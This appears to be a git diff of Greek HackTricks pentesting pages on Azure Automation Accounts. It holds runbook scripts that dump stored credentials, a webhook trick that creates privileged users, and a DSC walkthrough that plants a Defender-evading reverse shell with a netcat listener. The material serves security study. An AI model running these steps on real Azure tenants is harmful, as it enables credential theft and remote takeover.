sudo nc -nlvp 443
|
||||
```
|
||||
Η προγραμματισμένη εργασία εκτελεί το payload, επιτυγχάνοντας δικαιώματα επιπέδου SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,170 +0,0 @@
|
||||
# Az - Automation Account
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[Από τα έγγραφα:](https://learn.microsoft.com/en-us/azure/automation/overview) Το Azure Automation παρέχει μια υπηρεσία αυτοματοποίησης, ενημερώσεων λειτουργικού συστήματος και διαμόρφωσης που υποστηρίζει συνεπή διαχείριση σε περιβάλλοντα Azure και μη Azure. Περιλαμβάνει αυτοματοποίηση διαδικασιών, διαχείριση διαμόρφωσης, διαχείριση ενημερώσεων, κοινές δυνατότητες και ετερογενή χαρακτηριστικά.
|
||||
|
||||
Αυτά είναι όπως οι "**προγραμματισμένες εργασίες**" στο Azure που θα σας επιτρέψουν να εκτελείτε πράγματα (ενέργειες ή ακόμα και σενάρια) για να **διαχειριστείτε**, να ελέγξετε και να διαμορφώσετε το **περιβάλλον Azure**.
|
||||
|
||||
### Run As Account
|
||||
|
||||
Όταν χρησιμοποιείται το **Run as Account**, δημιουργεί μια **εφαρμογή** Azure AD με αυτο-υπογεγραμμένο πιστοποιητικό, δημιουργεί έναν **υπηρεσιακό κύριο** και αναθέτει τον ρόλο **Contributor** για τον λογαριασμό στην **τρέχουσα συνδρομή** (πολλές προνόμια).\
|
||||
Η Microsoft προτείνει τη χρήση μιας **Managed Identity** για τον Automation Account.
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτό θα **αφαιρεθεί στις 30 Σεπτεμβρίου 2023 και θα αλλάξει σε Managed Identities.**
|
||||
|
||||
## Runbooks & Jobs
|
||||
|
||||
Τα **Runbooks** σας επιτρέπουν να **εκτελείτε αυθαίρετο PowerShell** κώδικα. Αυτό θα μπορούσε να **καταχραστεί από έναν επιτιθέμενο** για να κλέψει τα δικαιώματα του **συνδεδεμένου κύριου** (αν υπάρχει).\
|
||||
Στον **κώδικα** των **Runbooks** μπορείτε επίσης να βρείτε **ευαίσθητες πληροφορίες** (όπως διαπιστευτήρια).
|
||||
|
||||
Αν μπορείτε να **διαβάσετε** τις **εργασίες**, κάντε το καθώς **περιέχουν** την **έξοδο** της εκτέλεσης (πιθανές **ευαίσθητες πληροφορίες**).
|
||||
|
||||
Πηγαίνετε στο `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
### Hybrid Worker
|
||||
|
||||
Ένα Runbook μπορεί να εκτελείται σε ένα **δοχείο μέσα στο Azure** ή σε έναν **Hybrid Worker** (μηχανή εκτός Azure).\
|
||||
Ο **Log Analytics Agent** αναπτύσσεται στη VM για να την καταχωρίσει ως υβριδικό εργαζόμενο.\
|
||||
Οι εργασίες του υβριδικού εργαζομένου εκτελούνται ως **SYSTEM** στα Windows και ως **nxautomation** λογαριασμός στα Linux.\
|
||||
Κάθε Hybrid Worker είναι καταχωρισμένος σε μια **Hybrid Worker Group**.
|
||||
|
||||
Επομένως, αν μπορείτε να επιλέξετε να εκτελέσετε ένα **Runbook** σε έναν **Windows Hybrid Worker**, θα εκτελέσετε **αυθαίρετες εντολές** μέσα σε μια εξωτερική μηχανή ως **System** (καλή τεχνική pivot).
|
||||
|
||||
## Compromise State Configuration (SC)
|
||||
|
||||
[Από τα έγγραφα:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Το Azure Automation **State Configuration** είναι μια υπηρεσία διαχείρισης διαμόρφωσης Azure που σας επιτρέπει να γράφετε, να διαχειρίζεστε και να συντάσσετε PowerShell Desired State Configuration (DSC) [διαμορφώσεις](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) για κόμβους σε οποιοδήποτε cloud ή τοπικό κέντρο δεδομένων. Η υπηρεσία εισάγει επίσης [DSC Resources](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) και αναθέτει διαμορφώσεις σε στοχευμένους κόμβους, όλα στο cloud. Μπορείτε να αποκτήσετε πρόσβαση στο Azure Automation State Configuration στην πύλη Azure επιλέγοντας **State configuration (DSC)** κάτω από **Configuration Management**.
|
||||
|
||||
**Ευαίσθητες πληροφορίες** θα μπορούσαν να βρεθούν σε αυτές τις διαμορφώσεις.
|
||||
|
||||
### RCE
|
||||
|
||||
Είναι δυνατόν να καταχραστεί το SC για να εκτελούνται αυθαίρετα σενάρια στις διαχειριζόμενες μηχανές.
|
||||
|
||||
{{#ref}}
|
||||
az-state-configuration-rce.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumeration
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
# Gets Azure Automation accounts in a resource group
|
||||
Get-AzAutomationAccount
|
||||
|
||||
# List & get DSC configs
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
|
||||
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
|
||||
|
||||
# List & get Run books code
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
|
||||
|
||||
# List credentials & variables & others
|
||||
Get-AzAutomationAccount | Get-AzAutomationCredential
|
||||
Get-AzAutomationAccount | Get-AzAutomationVariable
|
||||
Get-AzAutomationAccount | Get-AzAutomationConnection
|
||||
Get-AzAutomationAccount | Get-AzAutomationCertificate
|
||||
Get-AzAutomationAccount | Get-AzAutomationSchedule
|
||||
Get-AzAutomationAccount | Get-AzAutomationModule
|
||||
Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
### Δημιουργία Runbook
|
||||
```powershell
|
||||
# Get the role of a user on the Automation account
|
||||
# Contributor or higher = Can create and execute Runbooks
|
||||
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
|
||||
|
||||
# Create a Powershell Runbook
|
||||
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
|
||||
|
||||
# Publish the Runbook
|
||||
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
|
||||
# Start the Runbook
|
||||
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
```
|
||||
### Εξαγωγή Πιστοποιητικών & Μεταβλητών που ορίζονται σε έναν Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας ένα Run Book
|
||||
```powershell
|
||||
# Change the crdentials & variables names and add as many as you need
|
||||
@'
|
||||
$creds = Get-AutomationPSCredential -Name <credentials_name>
|
||||
$runbook_variable = Get-AutomationVariable -name <variable_name>
|
||||
$runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password
|
||||
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
|
||||
|
||||
$ResourceGroupName = '<resource_group_name>'
|
||||
$AutomationAccountName = '<auto_acc_name>'
|
||||
$RunBookName = 'Exif-Credentials' #Change this for stealthness
|
||||
|
||||
# Creare Run book, publish, start, and get output
|
||||
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
|
||||
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
|
||||
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
start-sleep 20
|
||||
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
|
||||
```
|
||||
> [!NOTE]
|
||||
> Μπορείτε να κάνετε το ίδιο πράγμα τροποποιώντας ένα υπάρχον Run Book, και από την διαδικτυακή κονσόλα.
|
||||
|
||||
### Βήματα για τη Ρύθμιση Δημιουργίας Αυτοματοποιημένου Υψηλά Προνομιακού Χρήστη
|
||||
|
||||
#### 1. Αρχικοποίηση ενός Λογαριασμού Αυτοματοποίησης
|
||||
|
||||
- **Απαιτούμενη Ενέργεια:** Δημιουργήστε έναν νέο Λογαριασμό Αυτοματοποίησης.
|
||||
- **Συγκεκριμένη Ρύθμιση:** Βεβαιωθείτε ότι είναι ενεργοποιημένο το "Create Azure Run As account".
|
||||
|
||||
#### 2. Εισαγωγή και Ρύθμιση Runbook
|
||||
|
||||
- **Πηγή:** Κατεβάστε το δείγμα runbook από το [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
|
||||
- **Απαιτούμενες Ενέργειες:**
|
||||
- Εισάγετε το runbook στον Λογαριασμό Αυτοματοποίησης.
|
||||
- Δημοσιεύστε το runbook για να το κάνετε εκτελέσιμο.
|
||||
- Συνδέστε ένα webhook στο runbook, επιτρέποντας εξωτερικούς ενεργοποιητές.
|
||||
|
||||
#### 3. Ρύθμιση του AzureAD Module
|
||||
|
||||
- **Απαιτούμενη Ενέργεια:** Προσθέστε το AzureAD module στον Λογαριασμό Αυτοματοποίησης.
|
||||
- **Επιπλέον Βήμα:** Βεβαιωθείτε ότι όλα τα Azure Automation Modules είναι ενημερωμένα στις τελευταίες εκδόσεις τους.
|
||||
|
||||
#### 4. Ανάθεση Δικαιωμάτων
|
||||
|
||||
- **Ρόλοι προς Ανάθεση:**
|
||||
- Διαχειριστής Χρηστών
|
||||
- Ιδιοκτήτης Συνδρομής
|
||||
- **Στόχος:** Αναθέστε αυτούς τους ρόλους στον Λογαριασμό Αυτοματοποίησης για τα απαραίτητα προνόμια.
|
||||
|
||||
#### 5. Επίγνωση Πιθανής Απώλειας Πρόσβασης
|
||||
|
||||
- **Σημείωση:** Να είστε ενήμεροι ότι η ρύθμιση τέτοιας αυτοματοποίησης μπορεί να οδηγήσει σε απώλεια ελέγχου της συνδρομής.
|
||||
|
||||
#### 6. Ενεργοποίηση Δημιουργίας Χρήστη
|
||||
|
||||
- Ενεργοποιήστε το webhook για να δημιουργήσετε έναν νέο χρήστη στέλνοντας ένα POST αίτημα.
|
||||
- Χρησιμοποιήστε το PowerShell script που παρέχεται, διασφαλίζοντας ότι θα αντικαταστήσετε το `$uri` με το πραγματικό σας webhook URL και θα ενημερώσετε το `$AccountInfo` με το επιθυμητό όνομα χρήστη και κωδικό πρόσβασης.
|
||||
```powershell
|
||||
$uri = "<YOUR_WEBHOOK_URL>"
|
||||
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
|
||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-57
@@ -1,57 +0,0 @@
|
||||
# Az - State Configuration RCE
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Δείτε την πλήρη ανάρτηση στο:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
### Περίληψη Προετοιμασίας Υποδομής Απομακρυσμένου Διακομιστή (C2) και Βημάτων
|
||||
|
||||
#### Επισκόπηση
|
||||
|
||||
Η διαδικασία περιλαμβάνει τη ρύθμιση μιας υποδομής απομακρυσμένου διακομιστή για τη φιλοξενία ενός τροποποιημένου payload `Invoke-PowerShellTcp.ps1` του Nishang, ονόματι `RevPS.ps1`, σχεδιασμένο να παρακάμπτει το Windows Defender. Το payload εξυπηρετείται από μια μηχανή Kali Linux με IP `40.84.7.74` χρησιμοποιώντας έναν απλό Python HTTP server. Η λειτουργία εκτελείται μέσω αρκετών βημάτων:
|
||||
|
||||
#### Βήμα 1 — Δημιουργία Αρχείων
|
||||
|
||||
- **Απαιτούμενα Αρχεία:** Χρειάζονται δύο PowerShell scripts:
|
||||
1. `reverse_shell_config.ps1`: Ένα αρχείο Desired State Configuration (DSC) που ανακτά και εκτελεί το payload. Είναι διαθέσιμο στο [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Ένα script για τη δημοσίευση της ρύθμισης στην VM, διαθέσιμο στο [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
- **Προσαρμογή:** Οι μεταβλητές και οι παράμετροι σε αυτά τα αρχεία πρέπει να προσαρμοστούν στο συγκεκριμένο περιβάλλον του χρήστη, συμπεριλαμβανομένων των ονομάτων πόρων, των διαδρομών αρχείων και των αναγνωριστικών διακομιστή/payload.
|
||||
|
||||
#### Βήμα 2 — Συμπίεση Αρχείου Ρύθμισης
|
||||
|
||||
- Το `reverse_shell_config.ps1` συμπιέζεται σε ένα αρχείο `.zip`, καθιστώντας το έτοιμο για μεταφορά στον Azure Storage Account.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
#### Βήμα 3 — Ρύθμιση Στοιχείου Αποθήκευσης & Μεταφόρτωση
|
||||
|
||||
- Το συμπιεσμένο αρχείο ρύθμισης μεταφορτώνεται σε ένα προκαθορισμένο δοχείο Αποθήκευσης Azure, azure-pentest, χρησιμοποιώντας την εντολή Set-AzStorageBlobContent του Azure.
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
#### Βήμα 4 — Προετοιμασία του Kali Box
|
||||
|
||||
- Ο διακομιστής Kali κατεβάζει το payload RevPS.ps1 από ένα αποθετήριο GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
- Το σενάριο επεξεργάζεται για να καθορίσει το στόχο Windows VM και την πόρτα για το reverse shell.
|
||||
|
||||
#### Βήμα 5 — Δημοσίευση Αρχείου Ρυθμίσεων
|
||||
|
||||
- Το αρχείο ρυθμίσεων εκτελείται, με αποτέλεσμα το σενάριο reverse-shell να αναπτυχθεί στην καθορισμένη τοποθεσία στο Windows VM.
|
||||
|
||||
#### Βήμα 6 — Φιλοξενία Payload και Ρύθμιση Listener
|
||||
|
||||
- Ένας Python SimpleHTTPServer ξεκινά για να φιλοξενήσει το payload, μαζί με έναν Netcat listener για να καταγράψει τις εισερχόμενες συνδέσεις.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
- Η προγραμματισμένη εργασία εκτελεί το payload, αποκτώντας δικαιώματα επιπέδου SYSTEM.
|
||||
|
||||
#### Συμπέρασμα
|
||||
|
||||
Η επιτυχής εκτέλεση αυτής της διαδικασίας ανοίγει πολλές δυνατότητες για περαιτέρω ενέργειες, όπως η εξαγωγή διαπιστευτηρίων ή η επέκταση της επίθεσης σε πολλαπλές VMs. Ο οδηγός ενθαρρύνει τη συνεχιζόμενη μάθηση και τη δημιουργικότητα στον τομέα του Azure Automation DSC.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,227 @@
|
||||
# Az - Automation Accounts
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Οι Azure Automation Accounts είναι υπηρεσίες cloud της Microsoft Azure που βοηθούν στην **αυτοματοποίηση εργασιών** όπως η διαχείριση πόρων, η διαμόρφωση και οι ενημερώσεις σε περιβάλλοντα Azure και τοπικά. Παρέχουν **Runbooks** (σενάρια για αυτοματοποίηση που εκτελούνται), **προγράμματα** και **ομάδες υβριδικών εργαζομένων** για την εκτέλεση αυτοματοποιημένων **εργασιών**, επιτρέποντας την υποδομή ως κώδικα (IaC) και την αυτοματοποίηση διαδικασιών για βελτιωμένη αποδοτικότητα και συνέπεια στη διαχείριση πόρων cloud.
|
||||
|
||||
### Settings
|
||||
|
||||
- **Credentials**: Ο κωδικός πρόσβασης είναι προσβάσιμος μόνο μέσα σε ένα runbook εντός του λογαριασμού αυτοματοποίησης, χρησιμοποιούνται για να **αποθηκεύουν ονόματα χρηστών και κωδικούς πρόσβασης με ασφάλεια**.
|
||||
- **Variables**: Χρησιμοποιούνται για να αποθηκεύουν **δεδομένα διαμόρφωσης** που μπορούν να χρησιμοποιηθούν σε runbooks. Αυτό θα μπορούσε επίσης να είναι ευαίσθητες πληροφορίες όπως κλειδιά API. Εάν η μεταβλητή είναι **αποθηκευμένη κρυπτογραφημένα**, είναι διαθέσιμη μόνο μέσα σε ένα runbook εντός του λογαριασμού αυτοματοποίησης.
|
||||
- **Certificates**: Χρησιμοποιούνται για να αποθηκεύουν **πιστοποιητικά** που μπορούν να χρησιμοποιηθούν σε runbooks.
|
||||
- **Connections**: Χρησιμοποιούνται για να αποθηκεύουν **πληροφορίες σύνδεσης** σε εξωτερικές υπηρεσίες. Αυτό θα μπορούσε να περιέχει **ευαίσθητες πληροφορίες**.
|
||||
- **Network Access**: Μπορεί να ρυθμιστεί σε **δημόσιο** ή **ιδιωτικό**.
|
||||
|
||||
## Runbooks & Jobs
|
||||
|
||||
Ένα Runbook στην Azure Automation είναι ένα **σενάριο που εκτελεί εργασίες αυτόματα** μέσα στο περιβάλλον cloud σας. Τα Runbooks μπορούν να γραφούν σε PowerShell, Python ή γραφικούς επεξεργαστές. Βοηθούν στην αυτοματοποίηση διοικητικών εργασιών όπως η διαχείριση VM, η εφαρμογή ενημερώσεων ή οι έλεγχοι συμμόρφωσης.
|
||||
|
||||
Στον **κώδικα** που βρίσκεται μέσα στα **Runbooks** μπορεί να περιέχονται **ευαίσθητες πληροφορίες** (όπως κωδικοί).
|
||||
|
||||
Πηγαίνετε σε `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
Μια **εργασία είναι μια περίπτωση εκτέλεσης ενός Runbook**. Όταν εκτελείτε ένα Runbook, δημιουργείται μια εργασία για να παρακολουθεί την εκτέλεση αυτή. Κάθε εργασία περιλαμβάνει:
|
||||
|
||||
- **Status**: Σε αναμονή, Εκτελείται, Ολοκληρώθηκε, Απέτυχε, Ανασταλεί.
|
||||
- **Output**: Το αποτέλεσμα της εκτέλεσης του Runbook.
|
||||
- **Start and End Time**: Πότε ξεκίνησε και ολοκληρώθηκε η εργασία.
|
||||
|
||||
Μια εργασία περιέχει την **έξοδο** της εκτέλεσης του **Runbook**. Εάν μπορείτε να **διαβάσετε** τις **εργασίες**, κάντε το καθώς **περιέχουν** την **έξοδο** της εκτέλεσης (πιθανές **ευαίσθητες πληροφορίες**).
|
||||
|
||||
### Schedules & Webhooks
|
||||
|
||||
Υπάρχουν 3 κύριοι τρόποι εκτέλεσης ενός Runbook:
|
||||
|
||||
- **Schedules**: Αυτά χρησιμοποιούνται για να **ενεργοποιούν** Runbooks σε μια **συγκεκριμένη ώρα** ή **διάστημα**.
|
||||
- **Webhooks**: Αυτά είναι **HTTP endpoints** που μπορούν να χρησιμοποιηθούν για να **ενεργοποιούν** Runbooks από **εξωτερικές υπηρεσίες**. Σημειώστε ότι το URL του webhook **δεν είναι ορατό** μετά τη δημιουργία.
|
||||
- **Manual Trigger**: Μπορείτε να **ενεργοποιήσετε χειροκίνητα** ένα Runbook από το Azure Portal και από το cli.
|
||||
|
||||
### Source Control
|
||||
|
||||
Επιτρέπει την εισαγωγή Runbooks από **Github, Azure Devops (Git) και Azure Devops (TFVC)**. Είναι δυνατή η ένδειξη για τη δημοσίευση των Runbooks του repo στον λογαριασμό Azure Automation και είναι επίσης δυνατή η ένδειξη για να **συγχρονίσετε τις αλλαγές από το repo** στον λογαριασμό Azure Automation.
|
||||
|
||||
Όταν η συγχρονισμός είναι ενεργοποιημένος, στο **αποθετήριο Github δημιουργείται ένα webhook** για να ενεργοποιεί τη συγχρονισμό κάθε φορά που συμβαίνει ένα γεγονός push. Παράδειγμα URL webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
Σημειώστε ότι αυτά τα webhooks **δεν θα είναι ορατά** όταν καταχωρείτε webhooks στα συσχετιζόμενα runbooks με το αποθετήριο Github. Επίσης, σημειώστε ότι **δεν είναι δυνατή η αλλαγή του URL του repo** ενός source control μόλις δημιουργηθεί.
|
||||
|
||||
Για να λειτουργήσει το ρυθμισμένο source control, ο **Azure Automation Account** πρέπει να έχει μια διαχειριζόμενη ταυτότητα (σύστημα ή χρήστη) με τον ρόλο **`Contributor`**. Επιπλέον, για να ανατεθεί μια διαχειριζόμενη ταυτότητα χρήστη στον λογαριασμό Automation, είναι δυνατή η ρύθμιση της μεταβλητής **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** στο **Client ID της Διαχειριζόμενης Ταυτότητας Χρήστη**.
|
||||
|
||||
### Runtime Environments
|
||||
|
||||
Κατά τη δημιουργία ενός Runbook είναι δυνατή η επιλογή του περιβάλλοντος εκτέλεσης. Από προεπιλογή, τα παρακάτω περιβάλλοντα εκτέλεσης είναι διαθέσιμα:
|
||||
|
||||
- **Powershell 5.1**
|
||||
- **Powershell 7.1**
|
||||
- **PowerShell 7.2**
|
||||
- **Python 3.10**
|
||||
- **Python 3.8**
|
||||
- **Python 2.7**
|
||||
|
||||
Ωστόσο, είναι επίσης δυνατή η **δημιουργία των δικών σας περιβαλλόντων**, χρησιμοποιώντας ένα από αυτά ως βάση. Στην περίπτωση του python, είναι δυνατή η μεταφόρτωση πακέτων `.whl` στο περιβάλλον που θα χρησιμοποιηθεί. Στην περίπτωση του PowerShell, είναι δυνατή η μεταφόρτωση πακέτων `.zip` με τα modules που θα έχετε στο runtime.
|
||||
|
||||
### Hybrid Worker
|
||||
|
||||
Ένα Runbook μπορεί να εκτελείται σε ένα **container μέσα στην Azure** ή σε έναν **Υβριδικό Εργαζόμενο** (μηχανή εκτός Azure).\
|
||||
Ο **Log Analytics Agent** αναπτύσσεται στο VM για να το καταχωρήσει ως υβριδικό εργαζόμενο.\
|
||||
Οι εργασίες υβριδικών εργαζομένων εκτελούνται ως **SYSTEM** σε Windows και **nxautomation** account σε Linux.\
|
||||
Κάθε Υβριδικός Εργαζόμενος είναι καταχωρημένος σε μια **Ομάδα Υβριδικών Εργαζομένων**.
|
||||
|
||||
Επομένως, εάν μπορείτε να επιλέξετε να εκτελέσετε ένα **Runbook** σε έναν **Υβριδικό Εργαζόμενο Windows**, θα εκτελέσετε **τυχαίες εντολές** μέσα σε μια εξωτερική μηχανή ως **System** (καλή τεχνική pivot).
|
||||
|
||||
### State Configuration (SC)
|
||||
|
||||
>[!WARNING]
|
||||
> Όπως αναφέρεται στα [έγγραφα](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), η Azure Automation State Configuration θα αποσυρθεί στις 30 Σεπτεμβρίου 2027 και θα αντικατασταθεί από [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
||||
|
||||
Οι λογαριασμοί αυτοματοποίησης υποστηρίζουν επίσης **State Configuration (SC)**, η οποία είναι μια δυνατότητα που βοηθά στη **διαμόρφωση** και **διατήρηση** της **κατάστασης** των VM σας. Είναι δυνατή η **δημιουργία** και **εφαρμογή** DSC διαμορφώσεων σε **Windows** και **Linux** μηχανές.
|
||||
|
||||
Από την οπτική γωνία των επιτιθέμενων, αυτό ήταν ενδιαφέρον γιατί επέτρεπε την **εκτέλεση τυχαίου κώδικα PS σε όλα τα ρυθμισμένα VM**, επιτρέποντας την κλιμάκωση προνομίων στις διαχειριζόμενες ταυτότητες αυτών των VM, πιθανώς μεταπηδώντας σε νέα δίκτυα... Επίσης, οι διαμορφώσεις θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες**.
|
||||
|
||||
## Enumeration
|
||||
```bash
|
||||
# List Automation Accounts
|
||||
az automation account list --output table
|
||||
|
||||
# Get Automation Account details
|
||||
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
|
||||
# Check the managed identities in `identity`
|
||||
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get keys of automation account
|
||||
## These are used for the DSC
|
||||
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get schedules of automation account
|
||||
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get connections of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
|
||||
|
||||
# Get connection details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
|
||||
|
||||
# Get credentials of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
|
||||
|
||||
# Get credential details
|
||||
## Note that you will only be able to access the password from inside a Runbook
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
|
||||
|
||||
# Get certificates of automation account
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
|
||||
|
||||
# Get certificate details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
|
||||
|
||||
# Get variables of automation account
|
||||
## It's possible to get the value of unencrypted variables but not the encrypted ones
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
|
||||
|
||||
# Get variable details
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
|
||||
|
||||
# Get runbooks of an automation account
|
||||
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get runbook details
|
||||
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
|
||||
|
||||
# Get runbook content
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
|
||||
|
||||
# Get jobs of an automation account
|
||||
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get job details
|
||||
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
|
||||
|
||||
# Get job output
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
|
||||
# Get the Runbook content when the job was executed
|
||||
az rest --method GET \
|
||||
